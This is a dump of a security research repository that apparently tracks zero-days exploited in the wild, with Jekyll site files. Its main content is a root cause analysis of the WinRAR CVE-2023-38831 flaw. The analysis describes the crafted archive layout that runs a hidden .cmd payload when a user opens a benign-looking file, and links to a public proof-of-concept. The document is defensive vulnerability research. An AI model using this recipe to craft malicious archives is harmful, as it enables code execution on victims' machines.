sanitized. 213 | 214 | **Found variants:** N/A 215 | 216 | ### Structural improvements 217 | 218 | What are structural improvements such as ways to kill the bug class, prevent the 219 | introduction of this vulnerability, mitigate the exploit flow, make this type of 220 | vulnerability harder to exploit, etc.? 221 | 222 | **Ideas to kill the bug class:** 223 | 224 | Creating a safe implementation of `xxx_bit` APIs by, for example, adding the 225 | size of the bitmap and defining new APIs on top for commonly used sizes, e.g. 226 | `set_bit32(nr, bitmap)`. 227 | 228 | **Ideas to mitigate the exploit flow:** 229 | 230 | Upcoming memory tagging designs such as MTE are likely to prevent the exploit 231 | flow used to exploit this bug. 232 | 233 | **Other potential improvements:** N/A 234 | 235 | ### 0-day detection methods 236 | 237 | What are potential detection methods for similar 0-days? Meaning are there any 238 | ideas of how this exploit or similar exploits could be detected **as a 0-day**? 239 | 240 | ## Other References 241 | -------------------------------------------------------------------------------- /0day-RCAs/2023/CVE-2023-36033-poc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/googleprojectzero/0days-in-the-wild/bf4c0e41fab9efa1bbe2b189c3afeed55dcb287e/0day-RCAs/2023/CVE-2023-36033-poc.png -------------------------------------------------------------------------------- /0day-RCAs/2023/CVE-2023-38831.md: -------------------------------------------------------------------------------- 1 | # CVE-2023-38831: RARLAB WinRAR Code Execution Vulnerability 2 | *Vlad Stolyarov, Google Threat Analysis Group* 3 | 4 | ## The Basics 5 | 6 | **Disclosure or Patch Date:** July 20, 2023 7 | 8 | **Product:** RARLAB WinRAR 9 | 10 | **Advisory:** https://www.win-rar.com/singlenewsview.html?&L=0&tx_ttnews%5Btt_news%5D=230&cHash=d5b004cf8e13ffaf713f4ec6b604694e 11 | 12 | **Affected Versions:** 6.22 and other versions prior 13 | 14 | **First Patched Version:** 6.23 Beta 1 15 | 16 | **Issue/Bug Report:** N/A 17 | 18 | **Patch CL:** N/A 19 | 20 | **Bug-Introducing CL:** N/A 21 | 22 | **Reporter(s):** 23 | - Andrey Polovinkin from Group-IB Threat Intelligence unit 24 | 25 | ## The Code 26 | 27 | **Proof-of-concept:** https://github.com/b1tg/CVE-2023-38831-winrar-exploit 28 | 29 | **Exploit sample:** See PoC 30 | 31 | **Did you have access to the exploit sample when doing the analysis?** yes 32 | 33 | ## The Vulnerability 34 | 35 | **Bug class:** Logical flaw 36 | 37 | **Vulnerability details:** 38 | 39 | CVE-2023-38831 is a logical vulnerability within WinRAR causing extraneous temporary file expansion when processing crafted archives, combined with a quirk in the implementation of Windows’ ShellExecute when attempting to open a file with an extension containing spaces. The vulnerability allows attackers to execute arbitrary code when a user attempts to view a benign file (such as an ordinary PNG file) within a ZIP archive. 40 | 41 | Consider the following archive structure: 42 | 43 | ``` 44 | # CVE-2023-38831.rar 45 | ├── "poc.png_" # benign file that triggers the bug after double-click 46 | └── "poc.png_/" # directory that causes the .cmd file to be expanded 47 | └──── poc.png_.cmd" # malicious payload 48 | ``` 49 | 50 | When a user double-clicks on a benign `poc.png_` (underscore is used to indicate a space) from WinRAR’s user interface, WinRAR prior to 6.23 will instead execute `poc.png_/poc.png_.cmd`. 51 | 52 | After a user double-clicks on a file, WinRAR attempts to determine which files need to be temporarily expanded by iterating through all archive entries. However, due to the way the matching is made, if a directory is found with the same name as the selected entry, both the selected file and the files **inside** a matched directory are extracted **to the root** of a random temporary directory. 53 | 54 | The pseudocode below shows WinRAR’s extraction logic and whether an archive entry should to be extracted: 55 | ``` 56 | def ShouldExtractArchiveEntry(selected_filename, entry_filename, flags): 57 | .. 58 | if flags & EXPAND_DIRS: 59 | if entry_filename.startswith(selected_filename): 60 | last_char = entry_filename[len(selected_filename)] 61 | if last_char == '\\' or last_char == '/' or len(entry_filename) == len(selected_filename): 62 | return True # entry should be temporarily extracted 63 | .. 64 | 65 | ShouldExtractArchiveEntry('poc.png ', 'poc.png ', EXPAND_DIRS | OTHER_FLAGS) # True 66 | ShouldExtractArchiveEntry('poc.png ', 'poc.png /poc.png .cmd', EXPAND_DIRS | OTHER_FLAGS) # True, insecure temporary file creation 67 | ``` 68 | 69 | When writing contents of the files, WinRAR performs path normalization that removes appended spaces, because Windows doesn’t allow files with trailing spaces. Note that while most samples exploiting CVE-2023-3883 use an archive entry with a trailing space, it is not a requirement, and a space in any position in the file extension is sufficient to trigger the bug (e.g. entry with `poc.invalid_ext` will also result in `shell32!ApplyDefaultExts` code path to be taken). However, if WinRAR were to also normalize the path in ShellExecute arguments - the bug could've only been triggered with spaces not in last position. 70 | 71 | Finally, WinRAR calls `ShellExecuteExW`, passing the non-normalized path with a trailing space `%TEMP%\{random_directory}\poc.png_` to run the user-selected file. Internally, ShellExecute attempts to identify file extensions by calling `shell32!PathFindExtension` which fails because extensions with spaces are considered invalid. Instead of bailing out, ShellExecute proceeds to call `shell32!ApplyDefaultExts` which iterates through all files in a directory, finding and executing the first file with an extension matching any of the hardcoded ones: “.pif, .com, .exe, .bat, .lnk, .cmd”. 72 | 73 | **Patch analysis:** 74 | 75 | The patch introduces a new flag with a value of `0x080000000` (PERFORM_FULL_MATCH), which is set by default for temporary expansion initiated from a users' double-click in WinRAR user-interface. This flag performs full string comparison between `entry_filename` and `selected_filename` (instead of the first `len(selected_filename)`) when choosing candidates for extraction in `ShouldExtractArchiveEntry` routine. This results in only one, selected file, to be temporarily expanded. 76 | 77 | **Thoughts on how this vuln might have been found _(fuzzing, code auditing, variant analysis, etc.)_:** 78 | 79 | CVE-2023-38831 is an unusual vulnerability that requires user interaction - user has to double-click on a specific file in WinRAR's "preview" user interface. It is unlikely that someone was looking for a bug of this type intentionally, so CVE-2023-38831 was probably an accidental discovery while doing a code audit of WinRAR while looking for other bugs. 80 | 81 | **(Historical/present/future) context of bug:** N/A 82 | 83 | ## The Exploit 84 | 85 | (The terms *exploit primitive*, *exploit strategy*, *exploit technique*, and *exploit flow* are [defined here](https://googleprojectzero.blogspot.com/2020/06/a-survey-of-recent-ios-kernel-exploits.html).) 86 | 87 | **Exploit strategy (or strategies):** N/A 88 | 89 | **Exploit flow:** N/A 90 | 91 | **Known cases of the same exploit flow:** N/A 92 | 93 | **Part of an exploit chain?** N/A 94 | 95 | ## The Next Steps 96 | 97 | ### Variant analysis 98 | 99 | **Areas/approach for variant analysis (and why):** 100 | 101 | Possible approaches to find variants would be to look for other similar software where attacker controlled files are executed using ShellExecute. 102 | 103 | **Found variants:** 104 | 105 | Only poked around manually in 7-Zip and WinZIP, no results so far. 106 | 107 | ### Structural improvements 108 | 109 | What are structural improvements such as ways to kill the bug class, prevent the introduction of this vulnerability, mitigate the exploit flow, make this type of vulnerability harder to exploit, etc.? 110 | 111 | **Ideas to kill the bug class:** 112 | 113 | Hide ShellExecute's "default extension search" behavior under a flag that is not set by default. Set the flag in Windows code that currently relies on this functionality (explorer, cmd, etc.). 114 | 115 | **Ideas to mitigate the exploit flow:** 116 | 117 | Introduce a UAC-style dialog when "default extension search" was applied and the executed filename is different from the passed one. 118 | 119 | **Other potential improvements:** 120 | 121 | ### 0-day detection methods 122 | 123 | What are potential detection methods for similar 0-days? Meaning are there any ideas of how this exploit or similar exploits could be detected **as a 0-day**? N/A 124 | 125 | ## Other References 126 | 127 | * [Traders' Dollars in Danger: CVE-2023-38831 zero-Day vulnerability in WinRAR exploited by cybercriminals to target traders](https://www.group-ib.com/blog/cve-2023-38831-winrar-zero-day/) by Andrey Polovinkin 128 | * [CVE-2023-38831 winrar vulnerability analysis](https://b1tg.github.io/post/cve-2023-38831-winrar-analysis/) by b1tg 129 | * [CVE-2023-38831: WinRAR Bug Or Windows Feature? In-Depth Analysis of Winrar Vulnerability](https://aleeamini.com/cve-2023-38831-winrar-bug-or-windows-feature/) by Alee Amini 130 | * [Exploring Winrar Vulnerability (CVE-2023-38831)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/exploring-winrar-vulnerability-cve-2023-38831/) by McAfee Labs 131 | -------------------------------------------------------------------------------- /0day-RCAs/template.md: -------------------------------------------------------------------------------- 1 | # 0-day Root Cause Analysis Template 2 | 3 | 4 | # \: \ 5 | *Author* 6 | 7 | ## The Basics 8 | 9 | **Disclosure or Patch Date:** 10 | 11 | **Product:** 12 | 13 | **Advisory:** 14 | 15 | **Affected Versions:** 16 | 17 | **First Patched Version:** 18 | 19 | **Issue/Bug Report:** 20 | 21 | **Patch CL:** 22 | 23 | **Bug-Introducing CL:** 24 | 25 | **Reporter(s):** 26 | 27 | ## The Code 28 | 29 | **Proof-of-concept:** 30 | 31 | **Exploit sample:** 32 | 33 | **Did you have access to the exploit sample when doing the analysis?** 34 | 35 | ## The Vulnerability 36 | 37 | **Bug class:** 38 | 39 | **Vulnerability details:** 40 | 41 | **Patch analysis:** 42 | 43 | **Thoughts on how this vuln might have been found _(fuzzing, code auditing, variant analysis, etc.)_:** 44 | 45 | **(Historical/present/future) context of bug:** 46 | 47 | ## The Exploit 48 | 49 | (The terms *exploit primitive*, *exploit strategy*, *exploit technique*, and *exploit flow* are [defined here](https://googleprojectzero.blogspot.com/2020/06/a-survey-of-recent-ios-kernel-exploits.html).) 50 | 51 | **Exploit strategy (or strategies):** 52 | 53 | **Exploit flow:** 54 | 55 | **Known cases of the same exploit flow:** 56 | 57 | **Part of an exploit chain?** 58 | 59 | ## The Next Steps 60 | 61 | ### Variant analysis 62 | 63 | **Areas/approach for variant analysis (and why):** 64 | 65 | **Found variants:** 66 | 67 | ### Structural improvements 68 | 69 | What are structural improvements such as ways to kill the bug class, prevent the introduction of this vulnerability, mitigate the exploit flow, make this type of vulnerability harder to exploit, etc.? 70 | 71 | **Ideas to kill the bug class:** 72 | 73 | **Ideas to mitigate the exploit flow:** 74 | 75 | **Other potential improvements:** 76 | 77 | ### 0-day detection methods 78 | 79 | What are potential detection methods for similar 0-days? Meaning are there any ideas of how this exploit or similar exploits could be detected **as a 0-day**? 80 | 81 | ## Other References 82 | -------------------------------------------------------------------------------- /404.html: -------------------------------------------------------------------------------- 1 | --- 2 | permalink: /404.html 3 | layout: default 4 | --- 5 | 6 | 19 | 20 |
21 |

404

22 | 23 |

Page not found :(

24 |

The requested page could not be found.

25 |
26 | -------------------------------------------------------------------------------- /CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Contributing 3 | permalink: contributing.html 4 | --- 5 | 6 | ## How to Contribute 7 | 8 | We'd love to accept your contributions! The goal is for this repo to be a reference source for the community on 0-days that are exploited in-the-wild. We'd love if others wrote root-cause-analyses, submitted modifications or new links, helped keep data up-to-date, etc! There are 9 | just a few small guidelines you need to follow if you'd like to contribute. 10 | 11 | ## Contributor License Agreement 12 | 13 | Contributions to this project must be accompanied by a Contributor License 14 | Agreement (CLA). You (or your employer) retain the copyright to your 15 | contribution; this simply gives us permission to use and redistribute your 16 | contributions as part of the project. Head over to 17 | to see your current agreements on file or 18 | to sign a new one. 19 | 20 | You generally only need to submit a CLA once, so if you've already submitted one 21 | (even if it was for a different project), you probably don't need to do it 22 | again. 23 | 24 | ## Code Reviews 25 | 26 | All submissions, including submissions by project members, require review. We 27 | use GitHub pull requests for this purpose. Consult 28 | [GitHub Help](https://help.github.com/articles/about-pull-requests/) for more 29 | information on using pull requests. 30 | 31 | ## Community Guidelines 32 | 33 | This project follows 34 | [Google's Open Source Community Guidelines](https://opensource.google/conduct/). 35 | -------------------------------------------------------------------------------- /Gemfile: -------------------------------------------------------------------------------- 1 | source "https://rubygems.org" 2 | # Hello! This is where you manage which Jekyll version is used to run. 3 | # When you want to use a different version, change it below, save the 4 | # file and run `bundle install`. Run Jekyll with `bundle exec`, like so: 5 | # 6 | # bundle exec jekyll serve 7 | # 8 | # This will help ensure the proper Jekyll version is running. 9 | # Happy Jekylling! 10 | #gem "jekyll", "~> 4.2.0" 11 | # This is the default theme for new Jekyll sites. You may change this to anything you like. 12 | gem "minima", "~> 2.5" 13 | # If you want to use GitHub Pages, remove the "gem "jekyll"" above and 14 | # uncomment the line below. To upgrade, run `bundle update github-pages`. 15 | gem "github-pages", group: :jekyll_plugins 16 | # If you have any plugins, put them here! 17 | group :jekyll_plugins do 18 | gem "jekyll-feed", "~> 0.12" 19 | end 20 | 21 | # Windows and JRuby does not include zoneinfo files, so bundle the tzinfo-data gem 22 | # and associated library. 23 | platforms :mingw, :x64_mingw, :mswin, :jruby do 24 | gem "tzinfo", "~> 1.2" 25 | gem "tzinfo-data" 26 | end 27 | 28 | # Performance-booster for watching directories on Windows 29 | gem "wdm", "~> 0.1.1", :platforms => [:mingw, :x64_mingw, :mswin] 30 | 31 | 32 | gem "webrick", "~> 1.7" 33 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 0-days Exploited In-The-Wild 2 | 3 | This repository is a reference of documents about 0-day vulnerabilities detected as exploited in-the-wild. It includes both root cause analyses (RCAs) for each 0-day exploit as well as a table tracking each 0-day. 4 | 5 | These documents are intended to be viewed via the Github Pages: https://googleprojectzero.github.io/0days-in-the-wild 6 | 7 | ## Disclaimer 8 | 9 | This is not an officially supported Google product. -------------------------------------------------------------------------------- /_config.yml: -------------------------------------------------------------------------------- 1 | # Copyright 2021 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | title: 0-days In-the-Wild 16 | author: Google Project Zero 17 | email: 0day-in-the-wild@google.com 18 | description: Information about 0-days exploited in-the-wild! 19 | github_username: googleprojectzero 20 | repository: googleprojectzero/0days-in-the-wild 21 | url: https://googleprojectzero.github.io/0days-in-the-wild 22 | # Build settings 23 | theme: minima 24 | markdown: GFM 25 | 26 | titles_from_headings: 27 | strip_title: true 28 | 29 | plugins: 30 | - jemoji 31 | 32 | defaults: 33 | - 34 | scope: 35 | path: "0day-RCAs" 36 | values: 37 | category: "rca" 38 | include: 39 | - CONTRIBUTING.md 40 | 41 | exclude: 42 | - Gemfile 43 | - Gemfile.lock 44 | -------------------------------------------------------------------------------- /_data/settings.yml: -------------------------------------------------------------------------------- 1 | # Copyright 2021 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | 16 | menu: 17 | - {name: 'Root Cause Analyses', url: '/rca.html'} 18 | - {name: 'Tracking Sheet', url: 'https://docs.google.com/spreadsheets/d/1lkNJ0uQwbeC1ZTRrxdtuPLCIl7mlUreoKfSIgajnSyY'} 19 | - {name: 'Contributing', url: '/contributing.html'} 20 | - {name: 'About', url: '/about.html'} 21 | 22 | social: 23 | - {icon: 'fab fa-blogger', link: 'https://googleprojectzero.blogspot.com/'} 24 | - {icon: 'fas fa-bug', link: 'https://bugs.chromium.org/p/project-zero/issues/list'} 25 | - {icon: 'fab fa-github', link: 'https://github.com/googleprojectzero/0days-in-the-wild'} 26 | - {icon: 'fas fa-envelope', link: 'mailto:0day-in-the-wild@google.com'} 27 | 28 | -------------------------------------------------------------------------------- /_includes/footer.html: -------------------------------------------------------------------------------- 1 |
2 | 3 | 4 |
5 | 6 |

{{ site.title | escape }}

7 | 8 |
9 |
10 |
    11 |
  • 12 | {%- if site.author -%} 13 | {{ site.author | escape }} 14 | {%- else -%} 15 | {{ site.title | escape }} 16 | {%- endif -%} 17 |
    • 18 | {%- if site.email -%} 19 |
  • {{ site.email }}
    • 20 | {%- endif -%} 21 |
22 |
23 | 24 |
25 | {%- include social.html -%} 26 |
27 |
28 |

{{- site.description | escape -}}

29 |
30 |
31 |
32 | 33 |
34 | -------------------------------------------------------------------------------- /_includes/head.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | {%- seo -%} 7 | 8 | 9 | 10 | {%- feed_meta -%} 11 | {%- if jekyll.environment == 'production' and site.google_analytics -%} 12 | {%- include google-analytics.html -%} 13 | {%- endif -%} 14 | 15 | -------------------------------------------------------------------------------- /_includes/header.html: -------------------------------------------------------------------------------- 1 |
2 |
3 | 4 | 5 | 28 |
29 |
30 | -------------------------------------------------------------------------------- /_includes/rca-table.html: -------------------------------------------------------------------------------- 1 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 | {%- for rca in site.pages | first -%} 29 | {%- if rca.category == "rca" -%} 30 | 31 | 32 | 33 | 34 | {%- endif -%} 35 | {%- endfor -%} 36 |
CVELink
{{ rca.title }}
37 | -------------------------------------------------------------------------------- /_layouts/rca-home.html: -------------------------------------------------------------------------------- 1 | --- 2 | layout: page 3 | --- 4 | 5 | {% comment %} 6 | Copyright 2021 Google LLC 7 | 8 | Licensed under the Apache License, Version 2.0 (the "License"); 9 | you may not use this file except in compliance with the License. 10 | You may obtain a copy of the License at 11 | 12 | https://www.apache.org/licenses/LICENSE-2.0 13 | 14 | Unless required by applicable law or agreed to in writing, software 15 | distributed under the License is distributed on an "AS IS" BASIS, 16 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 17 | See the License for the specific language governing permissions and 18 | limitations under the License. 19 | {% endcomment %} 20 | 21 | {{ content }} 22 | 23 | {%- include rca-table.html -%} 24 | -------------------------------------------------------------------------------- /about.md: -------------------------------------------------------------------------------- 1 | 2 | # About 3 | 4 | This site aims to be a reference repository about 0-day exploits that are 5 | actively used in-the-wild. Since mid-2019, Project Zero has dedicated an effort 6 | specifically to track, analyze, and learn from 0-days that are actively 7 | exploited in-the-wild. Since 2014, Project Zero's mission has been to "make 8 | 0-day hard." From that came the goal of our in-the-wild program: "Learn from 9 | 0-days exploited in-the-wild in order to make 0-day hard." 10 | 11 | One of the key aspects of our work has been to perform and publish root cause 12 | analyses on each 0-day detected in-the-wild. For the last year, they have been 13 | published on the [Google Project Zero 14 | blog](googleprojectzero.blogspot.com/p/rca.html), but we found that we wanted a 15 | platform that better supports collaboration, history tracking, and updating. So 16 | we've migrated here! 17 | 18 | The goal is for this to be a database of information about exploited 0-days. We 19 | invite pull requests for both new RCAs and updates/edits to existing ones. 20 | Please check out the [Contributing page](contributing.html) for more info. 21 | -------------------------------------------------------------------------------- /index.md: -------------------------------------------------------------------------------- 1 | Hello! This site aims to be a central repository for information about 0-days 2 | exploited in-the-wild! It's maintained by Google Project Zero. 3 | 4 | To learn more about the goals of this site and Project Zero's program to study 5 | in-the-wild 0-days, check out the [about page](about.html). 6 | 7 | You can find all of the published root cause analyses for 0-days exploited 8 | in-the-wild [here](rca.html). 9 | 10 | We are hosting this information on Github in the hopes that it will promote 11 | collaboration. If you'd like to write a new RCA or update/edit existing ones, 12 | please check out our [CONTRIBUTING](contributing.html) page first. We'd love to 13 | have you! 14 | 15 | For additions, corrections, questions, or comments, please contact 16 | [contact us](mailto:0day-in-the-wild@google.com). 17 | -------------------------------------------------------------------------------- /rca.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: rca-home 3 | title: Root Cause Analyses 4 | --- 5 | 6 | *Originally published by Maddie Stone on the [Google Project Zero 7 | blog](https://googleprojectzero.blogspot.com/) on 27 July 2020* 8 | 9 | Beginning in 2019, Project Zero began a program to systematically study 0-day exploits that are used in the wild. It’s another way we’re trying to make 0-day hard. We published our [tracking spreadsheet](https://docs.google.com/spreadsheets/d/1lkNJ0uQwbeC1ZTRrxdtuPLCIl7mlUreoKfSIgajnSyY/) for recording publicly known cases of detected 0-day exploits. Today we’re beginning to share the root cause analyses we perform on these detected 0-day exploits. To better understand our approach and reasoning behind these analyses, please read [this blog post](https://googleprojectzero.blogspot.com/2020/07/root-cause-analyses-for-0-day-in-wild.html). 10 | 11 | We will continue to publish new root cause analyses as they are completed, hopefully in a very timely manner. We hope other researchers who detect and/or analyze 0-day exploits will also publish this information to better inform actions and decision making in the security and tech communities. The template that we use is available [here](https://raw.githubusercontent.com/googleprojectzero/0days-in-the-wild/main/0day-RCAs/template.md). We welcome pull requests! 12 | 13 | Our goal is that this information helps the security and technical communities. Please [reach out](mailto:0day-in-the-wild@google.com) with any feedback or suggestions. 14 | 15 | --------------------------------------------------------------------------------